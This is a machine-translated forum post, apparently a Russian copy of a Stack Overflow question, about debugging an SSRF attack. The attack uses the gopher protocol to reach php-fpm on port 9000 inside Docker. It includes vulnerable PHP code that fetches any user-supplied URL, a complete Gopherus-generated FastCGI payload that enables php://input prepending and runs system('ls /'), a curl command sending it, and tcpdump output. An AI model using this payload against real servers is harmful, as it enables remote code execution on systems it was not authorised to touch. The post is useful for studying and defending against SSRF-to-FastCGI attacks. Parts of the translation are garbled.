Код: Выделить всё
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['url'])) {
$url = trim($_POST['url']);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
Поскольку php-fpm в докере прослушивает порт 9000 из 127.0.0.1, я теперь пытаюсь атаковать php-fpm в интрасети докера через запрос на стороне сервера. уязвимость подделки (SSRF) на хосте (где я сопоставил веб-страницу в докере) с использованием протокола gopher для создания данных в формате fastcgi. Полезная нагрузка атаки следующая (сгенерирована https://github.com/tarunkant/Gopherus):
Код: Выделить всё
gopher://127.0.0.1:9000/\_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Поэтому я попытался сначала устранить неполадки, если они есть. является ли проблема с поддержкой моего протокола gopher протоколом gopher?
Я использовал команду Curl -v, чтобы увидеть, что Gopher включен в возврат, и похоже, что мой Curl поддерживает протокол gopher .
Далее попробуйте дальше: используйте команду Curl для доступа, инициированного php-fpm, команду для Curl gopher://127.0.0.1:9000/123, одновременно с захватом tcpdump порт 9000 локальных данных обратной связи, обнаружено, что я могу перехватить TCP-квитирование в три раза больше пакета, что указывает на то, что мой локон полностью поддерживает протокол gopher, и это означает, что мой локон полностью поддерживает протокол gopher и может инициировать доступ к php-fpm, работающему на порт 9000.
Далее я попытался получить доступ к полному коду атаки с помощью команды Curl
Код: Выделить всё
curl -v "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
Код: Выделить всё
* Trying 127.0.0.1:9000...
* Connected to 127.0.0.1 (127.0.0.1) port 9000 (#0)
* Closing connection 0
curl: (3) URL using bad/illegal format or missing URL
< /code>
Между тем, в оболочке, где я запускаю tcpdump для прослушивания данных, получены следующие данные: < /p>
10:26:24.961141 IP localhost.36782 > localhost.9000: Flags [S], seq 4207458222, win 65495, options [mss 65495,sackOK,TS val 3105304826 ecr 0,nop,wscale 7], length 0
E..< .@.@.............#(.............0.........
..0.........
10:26:24.961154 IP localhost.9000 > localhost.36782: Flags [S.], seq 276791369, ack 4207458223, win 65483, options [mss 65495,sackOK,TS val 3105304826 ecr 3105304826,nop,wscale 7], length 0
E.. localhost.9000: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 3105304827 ecr 3105304826], length 0
E..4 .@.@.............#(.......J.....(.....
..0...0.
10:26:24.963037 IP localhost.9000 > localhost.36782: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304828 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..0...0.
10:26:24.967882 IP localhost.9000 > localhost.36782: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..1...0.
10:26:24.967888 IP localhost.36782 > localhost.9000: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304832], length 0
E..4..@.@.
Похоже, что данные не передавались по этому соединению TCP, полезная нагрузка не была успешно отправлена. 3) URL -адрес с использованием плохого/незаконного формата или отсутствующего URL
Подробнее здесь: https://stackoverflow.com/questions/793 ... -using-ssr